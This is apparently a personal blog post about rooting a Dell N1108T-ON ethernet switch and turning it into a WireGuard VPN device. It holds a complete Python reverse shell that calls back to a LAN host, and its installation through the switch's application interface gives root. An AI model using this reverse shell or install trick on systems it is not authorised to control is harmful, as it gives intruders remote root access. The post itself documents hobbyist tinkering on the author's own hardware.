Jun 13 2019

Teaching a cheap ethernet switch new tricks

Ethernet rules everything around us, a large proportion of our systems communicate to each other with ethernet somewhere in the line. And the fast pace race to the bottom for embedded systems means that almost all network equipment is smart to some degree these days.

One of the bright sides of this is that where there are smart things, there is generally Linux too. This is handy since Linux is practically eating the world and is familiar to many of us. At this point even lower end ethernet switches that used to be confined to turnkey chips are now also “smart” enough to be running Linux.

We are also in an interesting time where we have projects like the Open Compute Project that aim to make the hardware itself open between vendors. The resulting product from most Open Compute Project devices are “bare metal switches” that have the hardware to switch packets but no operating system to drive them. The operating system part for open switches (and participating non open design switches) is dealt with by a system called ONIE (Open Network Install Environment)

ONIE provides a mostly standardised boot environment that can be used to install other boot environments. From what it feels like the majority of users of ONIE use it to install Cumulus OS, a commercial debian based OS that is tuned for switches.

I went on the hunt for ONIE enabled switches, my original intention was to find cheaper ways to shift low volumes of traffic (aka, integrated VPN or out of band vpn+switch) but factors at work made me realise that that was a solution that wasn’t going to be accepted, so I took it up for fun instead. Sadly since the majority of these switches are aimed at datacenter deployments they are generally unsuitable for use on my desk. Often lacking gigabit copper ethernet ports, or even lacking anything slower than 10 gigabit full stop. On top these switches would be aggressively priced out of my budget, and have loud active cooling.

That was until I found the Dell N1100 series, or more specifically the Dell N1108T-ON.

The marketing and manuals claimed this tiny 8 port switch had ONIE support. And I found a cheap vendor that sold refurbished ones for around 85 GBP. It was a done deal.

Switch Probing

Upon first launch, we see that we have a pretty standard boring admin UI:

The real fun starts over the USB serial port:

[11555.128185] usb 3-4.1: New USB device found, idVendor=0403, idProduct=6015, bcdDevice=10.00 [11555.128188] usb 3-4.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [11555.128189] usb 3-4.1: Product: FT230X Basic UART [11555.128190] usb 3-4.1: Manufacturer: FTDI [11555.128191] usb 3-4.1: SerialNumber: DN03MXGK [11555.136388] ftdi_sio 3-4.1:1.0: FTDI USB Serial Device converter detected [11555.136413] usb 3-4.1: Detected FT-X [11555.136629] usb 3-4.1: FTDI USB Serial Device converter now attached to ttyUSB0

Dell nicely integrated a little FTDI serial converter into the switch, this is a nice improvement from the land of Cisco style console cables that are the bane of my existence in other scenarios due to subtle vendor differences.

Anyway, over the serial console we can see

Play

If we interact with the boot process, we can see that we can boot into ONIE Recovery mode! This is handy since the shell on the main OS only gives access to switch configuration.

Play

With a little probing we can take a look at our surroundings:

ONIE:/ # uname -m armv7l ONIE:/ # uname -r 4.4.0-Broadcom XLDK-3.8.1

This kernel is actually pretty new! This is a good sign for us, since embedded devices have a habit of running reasonably old kernels with limited features. The downside is that there is generally very limited support for ONIE devices running arm, and after a large amount of searching, there are no compatible ONIE images for this device at all, other than the already installed Dell OS.

So clearly we need to start hacking based on what we already have, since making ONIE images is a lot of effort and is generally locked down to those who have SDKs that are behind NDAs with Broadcom.

ONIE:/ # ls -alh /bin/sh lrwxrwxrwx 1 root 0 7 Feb 28 2017 /bin/sh -> busybox

We can also see that we are inside a busybox system, so most of the utils are going to look like standard coreutils, but have features missing.

ONIE:/dev # ls -alh | grep mtd lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-diags -> /dev/mtd4 lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-onie -> /dev/mtd5 lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-open -> /dev/mtd6 lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-shmoo -> /dev/mtd2 lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-sys_eeprom -> /dev/mtd3 lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-uboot -> /dev/mtd0 lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-uboot-env -> /dev/mtd1 crw-rw---- 1 root 0 90, 0 Feb 28 2017 mtd0 crw-rw---- 1 root 0 90, 2 Feb 28 2017 mtd1 crw-rw---- 1 root 0 90, 4 Feb 28 2017 mtd2 crw-rw---- 1 root 0 90, 6 Feb 28 2017 mtd3 crw-rw---- 1 root 0 90, 8 Feb 28 2017 mtd4 crw-rw---- 1 root 0 90, 10 Feb 28 2017 mtd5 crw-rw---- 1 root 0 90, 12 Feb 28 2017 mtd6 crw-rw---- 1 root 0 90, 14 Feb 28 2017 mtd7

We can also see that the system boots directly from a MTD device with some handy symlinks prepopulated for us to look at. So it’s now a decent time to see if we can get the contents of these MTD devices out and give them a poke around:

ONIE:/dev # mount /dev/sda1 /usb ONIE:/dev # dd if=/dev/mtd-diags of=/usb/SWITCH/mtd-diags

Using binwalk we can scan over these images for clues of what lives inside them. Sadly, the mtd devices just seem to contain uboot and kernel images:

Scan Time: 2019-06-08 19:00:17 Target File: /media/ben/0300-88EE/SWITCH/mtd-onie MD5 Checksum: 40854e6964529efa644be69840f67ef9 Signatures: 344 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 639045 0x9C045 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284 4348305 0x425991 Certificate in DER format (x509 v3), header length: 4, sequence length: 1432 4361413 0x428CC5 Certificate in DER format (x509 v3), header length: 4, sequence length: 5376 5394768 0x525150 Linux kernel version "4.4.0-Broadcom XLDK-3.8.1 (pchockalingam@pchockalingam-OptiPlex-9020) (gcc version 4.9.3 (Buildroot 2015.11.1) ) #31 SMP PREEMPT 5410352 0x528E30 gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)

Scan Time: 2019-06-08 19:00:12 Target File: /media/ben/0300-88EE/SWITCH/mtd-diags MD5 Checksum: c3b7061af82df2162320dcf441fdc379 Signatures: 344 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 uImage header, header size: 64 bytes, header CRC: 0xE2DF26B4, created: 2017-06-15 01:17:16, image size: 15332548 bytes, Data Address: 0x61008000, Entry Point: 0x61008000, data CRC: 0xD34EB79E, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Image" 2298289 0x2311B1 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284 ... 4718756 0x4800A4 Linux kernel version "3.6.5-Broadcom Linux (tony@B3S1SVN) (gcc version 4.7.2 (Broadcom Linux) ) #721 SMP Thu Jun 15 09:17:04 CST 2017 (XLDK-3.6.5)" 4723212 0x48120C CRC32 polynomial table, little endian 4736828 0x48473C gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00) 5411103 0x52911F Unix path: /arm/plat-iproc/../../../../../bcmdrivers/qspi/qspi_iproc.c 5413548 0x529AAC Unix path: /arm/plat-iproc/../../../../../bcmdrivers/sd/iproc_sdhci.c ... 15152640 0xE73600 CRC32 polynomial table, little endian

We can see based on this binwalk output that the kernel we are running in the ONIE recovery mode is newer than the one that runs the switch itself (and is built by “pchockalingam” on a OptiPlex-9020 apparently) , this is slightly saddening since that means then main OS that we need to hack is older than we originally thought, but first we have to actually get a root shell in the main OS!

The other thing we can infer from these MTD dumps is that the vast majority of the flash (900MB of it) is used as a UBI device:

Scan Time: 2019-06-08 19:01:12 Target File: /media/ben/0300-88EE/SWITCH/mtd-open MD5 Checksum: 87e67e50132e9f584f4212cc88f8c977 Signatures: 344 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 UBI erase count header, version: 1, EC: 0x1, VID header offset: 0x1000, data offset: 0x2000

So alas, we are grounded to the OS image that Dell has already installed on the device, so how do we run our own code on it?

Alt-Shells

Poking around the console outputs we can pick up a few paths to explore:

Extracting Operational Code from .stk file...done. Loading Operational Code...done. Decompressing Operational Code...done. Uncompressing apps.lzma Uncompressing python.lzma Installing Python

So we clearly have python installed on the device, this is likely what the device runs as it’s admin UI that we already saw.

After a quick look around the command line interface, I discovered that I also have a way to look around some part of the file system:

console>enable console#dir Attr Size(bytes) Creation Time Name drwx 3368 Jun 09 2019 01:59:28 . drwx 0 May 24 2017 09:07:39 .. -rw 96 Jun 09 2019 01:59:39 snmpOprData.cfg --- 0 Apr 17 2019 02:22:16 fsyssize -rw 156 Apr 17 2019 02:00:16 dh512.pem -rw 27358384 Dec 14 2018 21:28:33 image1 -rwx 26544053 Jun 08 2017 09:21:57 image2 ... blah -rw 16328 Jun 03 2019 00:15:29 log-1.bin Total Size: 781512704 Bytes Used: 58383099 Bytes Free: 723129605

Poking around more, I found an applications interface:

console#application ? start Start an installed application. stop Stop a running application.

After a bunch of googling later I found a manual on how to use this platform

To start with, I really just wanted to see if I can just get a shell, thus:

$ cat rshell.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.2.164",80)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]); $ tar -cvzf lol.tar.gz rshell.py rshell.py

Using this tarball we can install it:

console#copy usb://lol.tar.gz application lol.tar.gz Transfer Mode.................................. Binary Data Type...................................... Application Downloads application file Management access will be blocked for the duration of the transfer Are you sure you want to start? (y/n) y File transfer in progress. Management access will be blocked for the duration of the transfer. please wait... Application file download completed successfully. console(config)#application install rshell.py console(config)#show application OpEN application table contains 2 entries. Name StartOnBoot AutoRestart CPU Sharing Max Memory ---------------- ----------- ----------- ----------- ---------- SupportAssist Yes Yes 0 0 rshell.py No No 0 0 console(config)#exit console#application start rshell.py Application started.

And to my amazement, the reverse shell attempt worked first time(!)

[19:38:17] ben@metropolis:~$ sudo nc -v -l -p 80 [sudo] password for ben: Listening on [0.0.0.0] (family 0, port 80) Connection from 192.168.2.163 36686 received! /bin/sh: can't access tty; job control turned off # ps | grep grep 1654 root 1844 S grep grep # uname -m armv7l # uname -r 3.6.5-Broadcom Linux-fcf6186d # pwd /mnt/fastpath # ls -alh /bin/sh lrwxrwxrwx 1 root root 7 May 24 2017 /bin/sh -> busybox

This is great! We are root, on a very similar system to the recovery environment, with reliable means to get a root shell!

More than just Python

Giving that applications are tarballs and that the python scripts provided must start with “#!/usr/bin/env python” I suspected that the system was just launching them straight up rather than involving a python parser. So assuming we could produce binaries that compiled to arm and had the correct dependencies linked into the binary (aka static linking) then we could avoid Python all together.

As it happens this is really easy in Go:

ben@metropolis:~/dell-N1100-tricks/hello-world$ cat main.go package main import "fmt" func main() { fmt.Println("Hello from the switch") } ben@metropolis:~/dell-N1100-tricks/hello-world$ GOARCH=arm go build ben@metropolis:~/dell-N1100-tricks/hello-world$ ls -alh hello-world -rwxr-xr-x 1 ben ben 1.9M Jun 9 15:34 hello-world ben@metropolis:~/dell-N1100-tricks/hello-world$ file hello-world hello-world: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped ben@metropolis:~/dell-N1100-tricks/hello-world$ tar -cvzf asd.tar.gz hello-world

Then on the switch:

console#copy usb://asd.tar.gz application asd.tar.gz Transfer Mode.................................. Binary Data Type...................................... Application Downloads application file Management access will be blocked for the duration of the transfer Are you sure you want to start? (y/n) y File transfer in progress. Management access will be blocked for the duration of the transfer. please wait... Application file download completed successfully. console(config)#application install hello-world console(config)#exit console#application start hello-worldHello from the switch Application started.

It works! This is big news since there is a large community behind Go libraries, and since the binaries that go produces are automatically statically linked (as long as you don’t import C dependencies), we can easily develop against the switch without worrying that we are going to bump into lack of dependency issues on the switch’s operating system.

The first thing it called for is a SSH server that dumped you into a shell automatically:

# # Based on https://gist.github.com/jpillora/b480fde82bff51a06238 ben@metropolis:~$ ssh -p 2200 foo@192.168.2.163 he # /bin/sh: can't access tty; job control turned off # pwd /mnt/fastpath #

Sadly I could not get ptty’s working, meaning that for now the example just spawns a shell in interactive mode, better than running a reverse shell every time you want to get root access to the switch though!

A cheap 8 port VPN device

Giving the low cost of this device, and the fact it runs a freely rootable OS, it would make a nice out of band switch with a VPN uplink. However for this we need to check if the kernel that we are stuck on can support TUN/TAP devices, luckily this is easy since the kernel itself was compiled with CONFIG_IKCONFIG_PROC=y meaning that the whole kernel config is in /proc/config.gz making it easy to check what the kernel supports:

# zcat /proc/config.gz | grep CONFIG_TUN CONFIG_TUN=y

This is great, this means we can create TUN/TAP devices on this system, We can use this feature to bring up wireguard tunnels to provide safe and encrypted access to the device. Wireguard for Linux is a kernel module, however with some small patching you can also use the wireguard-go implementation for devices where you can’t load modules.

# WG_I_PREFER_BUGGY_USERSPACE_TO_POLISHED_KMOD=1 ./wireguard-go test WARNING WARNING WARNING WARNING WARNING WARNING WARNING W G W You are running this software on a Linux kernel, G W which is probably unnecessary and foolish. This G W is because the Linux kernel has built-in first G W class support for WireGuard, and this support is G W much more refined than this slower userspace G W implementation. For more information on G W installing the kernel module, please visit: G W https://www.wireguard.com/install G W G WARNING WARNING WARNING WARNING WARNING WARNING WARNING INFO: (test) 2019/06/10 00:22:04 Starting wireguard-go version v0.0.20190517-15-gda61947-dirty # ip l 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN mode DEFAULT group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000 link/ether e4:f0:04:18:e7:86 brd ff:ff:ff:ff:ff:ff 3: sit0: <NOARP> mtu 1280 qdisc noop state DOWN mode DEFAULT group default link/sit 0.0.0.0 brd 0.0.0.0 4: ip6tnl0: <NOARP> mtu 1452 qdisc noop state DOWN mode DEFAULT group default link/tunnel6 :: brd :: 5: dtl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 500 link/ether e4:f0:04:18:e7:85 brd ff:ff:ff:ff:ff:ff 6: test: <POINTOPOINT,MULTICAST,NOARP> mtu 1420 qdisc noop state DOWN mode DEFAULT group default qlen 500 link/none

Giving wireguard-go really does not want to load on Linux. You need to pass it some encouragement in the form of an environment variable, after that we can confirm that the new “test” interface is running. At this point wireguard-go is running in the background, and is waiting for configuration.

At this point we need to compile the CLI tools for wireguard called “wg”, this is a C program that is designed to work for both the Linux kernel module and the tun/tap server variant. However for it to be easily compilable for this target, I stripped out the support for the module for compilation simplicity, and got to work cross compiling to arm:

$ sudo apt-get install gcc make gcc-arm-linux-gnueabi binutils-arm-linux-gnueabi $ make SHARED=0 CC='arm-linux-gnueabi-gcc -static -mabi=aapcs-linux -mcpu=cortex-a9 --no-float-store' --trace

Once it’s on the switch, we can use the tool to set up a config, and standard system tools to give the interface an IP address.

# ./wg setconf test test.conf # ./wg interface: test public key: P3i+7BLxbtormgHRzPglOxrGQ4mpvFw9/ZKH8SPdPkU= private key: (hidden) listening port: 9999 peer: Sijbz2dMX6fs53HgITe2SH2unR1IdRPjwOcmI0RSWFI= endpoint: 192.168.2.1:9999 allowed ips: 25.25.25.0/24 # ip addr add 25.25.25.3/24 dev test # ip link set test up # ping 25.25.25.2 PING 25.25.25.2 (25.25.25.2): 56 data bytes 64 bytes from 25.25.25.2: seq=0 ttl=64 time=2.908 ms 64 bytes from 25.25.25.2: seq=1 ttl=64 time=2.640 ms # ./wg interface: test public key: P3i+7BLxbtormgHRzPglOxrGQ4mpvFw9/ZKH8SPdPkU= private key: (hidden) listening port: 9999 peer: Sijbz2dMX6fs53HgITe2SH2unR1IdRPjwOcmI0RSWFI= endpoint: 192.168.2.1:9999 allowed ips: 25.25.25.0/24 latest handshake: 10 seconds ago transfer: 1.39 KiB received, 2.12 KiB sent

And as you can see, we have turned this cheap 8 port switch into a wireguard capable device. This setup is easy to automate using the previously mentioned applications interface.

Under the hood pics

1GB of skhynix DDR3L RAM BCM53443B0KFSBG (24 Port 1 GB ethernet + 4 10GB ethernet Switch chip) BCM54220B0KFBG - Ethernet PHY for the SFP ports Copper Ethernet Isolation 1GB of Micron Flash NAND

Power consumption on this device is great with the power supply being rated for 25W, but the actual nominal consumption being just 5W.

Conclusion

The future is very interesting! With these kinds of devices becoming more and more common thanks to the cost improvements with adding smart control planes, I suspect we will soon see a lot of low/mid tier routers just disappear into switches. This has already somewhat happened, but with chipsets like BCM53443B0KFSBG existing, there isn’t much reason left to not just make smart switches that also route (keep an eye out for devices that are running fastpath, they are likely smarter than you think they are!).

If you are interested in seeing some of the utils yourself (they are not really that special) then you can find the github repo where I dumped a bunch of working directories here: https://github.com/benjojo/dell-N1100-tricks

I hope to end up doing some more hardware posts in the coming months when I find the time, if that is your kind of thing then you can stay up to date with this blog by following me on twitter or using the blog’s RSS feed

Until next time!